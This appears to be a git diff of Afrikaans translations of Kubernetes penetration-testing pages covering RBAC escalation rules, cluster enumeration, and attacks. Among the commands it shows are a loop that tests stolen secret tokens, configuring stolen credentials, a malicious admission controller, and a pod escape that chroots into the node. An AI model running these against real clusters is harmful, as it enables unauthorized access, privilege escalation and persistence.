Kubernetes het 'n [ingeboude meganisme](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) om privilege escalasie te voorkom.
|
||||
|
||||
Hierdie stelsel verseker dat **gebruikers nie hul voorregte kan verhoog deur rolle of rolbindings te modifiseer**. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat 'n beskerming bied selfs wanneer die RBAC-outeur inaktief is.
|
||||
Hierdie stelsel verseker dat **gebruikers nie hul privileges kan verhoog deur rolle of rolbindings te modifiseer**. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat 'n beskerming bied selfs wanneer die RBAC-outeur inaktief is.
|
||||
|
||||
Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit**. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of dit kluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of kluster-wyd) vir Roles.
|
||||
Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit**. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of cluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of cluster-wyd) vir Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Daar is 'n uitsondering op die vorige reël. As 'n beginsel die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die voorregte van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê.
|
||||
> Daar is 'n uitsondering op die vorige reël. As 'n principal die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die privileges van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê.
|
||||
|
||||
### **Kry & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/modifiseer om jouself of 'n ander SA sekere voorregte te gee as jy dit nie reeds het nie.**
|
||||
> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/modifiseer om jouself of 'n ander SA sekere privileges te gee as jy dit nie reeds het nie.**
|
||||
|
||||
Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n diensrekening te bind**. Hierdie voorreg kan potensieel lei tot voorregte escalasie omdat dit **die gebruiker toelaat om administratiewe voorregte aan 'n gecompromitteerde diensrekening te bind.**
|
||||
Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n diensrekening te bind**. Hierdie voorreg kan potensieel lei tot privilege escalasie omdat dit **die gebruiker toelaat om admin privileges aan 'n gecompromitteerde diensrekening te bind.**
|
||||
|
||||
## Ander Aanvalle
|
||||
|
||||
@@ -576,7 +574,7 @@ Skep jou .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Wysig jou .yaml en voeg die ontcommentaarde lyne by:
|
||||
Bewerk jou .yaml en voeg die ongecommentary lyne by:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
@@ -616,9 +614,9 @@ Meer inligting by: [https://kubernetes.io/docs/tasks/configure-pod-container/sec
|
||||
|
||||
### Kwaadwillige Toelatingsbeheerder
|
||||
|
||||
'n Toelatingsbeheerder **onderbreek versoeke na die Kubernetes API-bediener** voordat die persistensie van die objek, maar **nadat die versoek geverifieer** **en gemagtig** is.
|
||||
'n Toelatingsbeheerder **onderbreek versoeke na die Kubernetes API-bediener** voordat die volharding van die objek, maar **nadat die versoek geverifieer** **en gemagtig** is.
|
||||
|
||||
As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutationg Toelatingsbeheerder** te **injekteer**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel lei tot privesc, en meer gewoonlik om in die kluster te bly.
|
||||
As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutasie Toelatingsbeheerder** te **injekseer**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel lei tot privesc, en meer gewoonlik om in die kluster te bly.
|
||||
|
||||
**Voorbeeld van** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -639,7 +637,7 @@ Dan ontplooi 'n nuwe pod:
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Wanneer jy die `ErrImagePull` fout kan sien, kyk na die beeldnaam met een van die navrae:
|
||||
Wanneer jy die `ErrImagePull` fout kan sien, kontroleer die beeldnaam met een van die navrae:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
|
||||
@@ -33,7 +33,7 @@ die lêers:
|
||||
- **namespace**: Dit dui die huidige naamruimte aan
|
||||
- **token**: Dit bevat die **diens token** van die huidige pod.
|
||||
|
||||
Nou dat jy die token het, kan jy die API-bediener binne die omgewingsvariabele **`KUBECONFIG`** vind. Vir meer inligting, hardloop `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
Nou dat jy die token het, kan jy die API-bediener binne die omgewingsvariabele **`KUBECONFIG`** vind. Vir meer inligting, voer `(env | set) | grep -i "kuber|kube`**`"`** uit.
|
||||
|
||||
Die diensrekening token word onderteken deur die sleutel wat in die lêer **sa.key** geleë is en geverifieer deur **sa.pub**.
|
||||
|
||||
@@ -55,7 +55,7 @@ As jy nie weet wat **RBAC** is nie, **lees hierdie afdeling**.
|
||||
|
||||
## GUI Toepassings
|
||||
|
||||
- **k9s**: 'n GUI wat 'n kubernetes kluster vanaf die terminale opnoem. Kyk na die opdragte in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Skryf `:namespace` en kies alles om dan hulpbronne in al die naamruimtes te soek.
|
||||
- **k9s**: 'n GUI wat 'n kubernetes kluster vanaf die terminale opnoem. Kyk na die opdragte in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Skryf `:namespace` en kies alles om dan hulpbronne in al die naamruimtes te soek.
|
||||
- **k8slens**: Dit bied 'n paar gratis proefdae aan: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumerasie CheatSheet
|
||||
@@ -68,7 +68,7 @@ Om 'n K8s omgewing te enumerate, het jy 'n paar van hierdie nodig:
|
||||
|
||||
Met daardie besonderhede kan jy **kubernetes enumerate**. As die **API** om een of ander rede **toeganklik** is deur die **Internet**, kan jy net daardie inligting aflaai en die platform vanaf jou gasheer opnoem.
|
||||
|
||||
Echter, gewoonlik is die **API-bediener binne 'n interne netwerk**, daarom sal jy moet **'n tonnel skep** deur die gecompromitteerde masjien om toegang daartoe vanaf jou masjien te verkry, of jy kan die **kubectl** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binêre oplaai, of **`curl/wget/anything`** gebruik om rou HTTP versoeke aan die API-bediener te doen.
|
||||
Echter, gewoonlik is die **API-bediener binne 'n interne netwerk**, daarom sal jy moet **'n tonnel skep** deur die gecompromitteerde masjien om toegang te verkry vanaf jou masjien, of jy kan die **[kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux)** binêre oplaai, of **`curl/wget/anything`** gebruik om rou HTTP versoeke aan die API-bediener te doen.
|
||||
|
||||
### Verskille tussen `list` en `get` werkwoorde
|
||||
|
||||
@@ -76,7 +76,7 @@ Met **`get`** toestemmings kan jy inligting van spesifieke bates (_`describe` op
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
As jy die **`list`** toestemming het, mag jy API versoeke uitvoer om 'n tipe bates op te som (_`get` opsie in `kubectl`_):
|
||||
As jy die **`list`** toestemming het, mag jy API versoeke uitvoer om 'n tipe bates op te lys (_`get` opsie in `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
@@ -121,7 +121,7 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-
|
||||
```
|
||||
> as daar geen `https://` in die URL is nie, kan jy 'n fout soos 'Bad Request' kry.
|
||||
|
||||
Jy kan 'n [**amptelike kubectl cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) vind. Die doel van die volgende afdelings is om verskillende opsies om te enumerate en die nuwe K8s wat jy toegang tot verkry het, in 'n geordende manier voor te stel.
|
||||
Jy kan 'n [**amptelike kubectl cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) vind. Die doel van die volgende afdelings is om verskillende opsies om te enumerate en die nuwe K8s wat jy toegang tot verkry het, te verstaan, in 'n geordende manier voor te stel.
|
||||
|
||||
Om die HTTP-versoek wat `kubectl` stuur te vind, kan jy die parameter `-v=8` gebruik.
|
||||
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
As jy daarin geslaag het om 'n paar gebruikers se geloofsbriewe te steel, kan jy **hulle plaaslik konfigureer** met iets soos:
|
||||
As jy daarin geslaag het om 'n paar gebruikers se akrediteerbesonderhede te steel, kan jy **hulle plaaslik konfigureer** met iets soos:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -229,9 +229,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Kry name ruimtes
|
||||
### Kry namespaces
|
||||
|
||||
Kubernetes ondersteun **meervoudige virtuele klusters** wat deur dieselfde fisiese kluster ondersteun word. Hierdie virtuele klusters word **name ruimtes** genoem.
|
||||
Kubernetes ondersteun **meervoudige virtuele klusters** wat deur dieselfde fisiese kluster ondersteun word. Hierdie virtuele klusters word **namespaces** genoem.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -270,9 +270,9 @@ As jy geheime kan lees, kan jy die volgende lyne gebruik om die regte wat aan el
|
||||
```bash
|
||||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||||
```
|
||||
### Kry Diensrekening
|
||||
### Verkrydiensrekening
|
||||
|
||||
Soos bespreek aan die begin van hierdie bladsy **wanneer 'n pod gedraai word, word 'n diensrekening gewoonlik aan dit toegeken**. Daarom kan die lys van die diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker in staat stel om voorregte te verhoog.
|
||||
Soos bespreek aan die begin van hierdie bladsy **wanneer 'n pod uitgevoer word, word 'n diensrekening gewoonlik aan dit toegeken**. Daarom kan die lys van die diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker in staat stel om voorregte te verhoog.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -290,7 +290,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
|
||||
### Kry Ontplooiings
|
||||
|
||||
Die ontplooiings spesifiseer die **komponente** wat moet **loop**.
|
||||
Die ontplooiings spesifiseer die **komponente** wat nodig is om te **loop**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -383,7 +383,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
|
||||
### Kry cronjob
|
||||
|
||||
Cron jobs laat jou toe om die bekendstelling van 'n pod wat 'n aksie sal uitvoer, te skeduleer met behulp van crontab-agtige sintaksis.
|
||||
Cron jobs laat jou toe om die bekendstelling van 'n pod wat 'n aksie sal uitvoer, te skeduleer met behulp van crontab soos sintaksis.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -439,7 +439,7 @@ k get all
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **Kry alle hulpbronne wat deur helm bestuur word**
|
||||
### **Kry alle hulpbronne bestuur deur helm**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -461,7 +461,7 @@ k top pod --all-namespaces
|
||||
|
||||
## Interaksie met die kluster sonder om kubectl te gebruik
|
||||
|
||||
Aangesien die Kubernetes-beheervlak 'n REST-volle API blootstel, kan jy handmatig HTTP-versoeke saamstel en dit met ander gereedskap soos **curl** of **wget** stuur.
|
||||
Aangesien die Kubernetes-beheervlak 'n REST-volle API blootstel, kan jy handgemaakte HTTP-versoeke saamstel en dit met ander gereedskap soos **curl** of **wget** stuur.
|
||||
|
||||
### Ontsnapping uit die pod
|
||||
|
||||
@@ -505,9 +505,7 @@ restartPolicy: Never
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
Daarna skep jy die pod
|
||||
Na dit skep jy die pod
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
@@ -515,7 +513,7 @@ Nou kan jy na die geskepte pod oorgaan soos volg
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
En uiteindelik chroot jy in die node se stelsel
|
||||
En uiteindelik chroot jy in die node se stelsel in
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user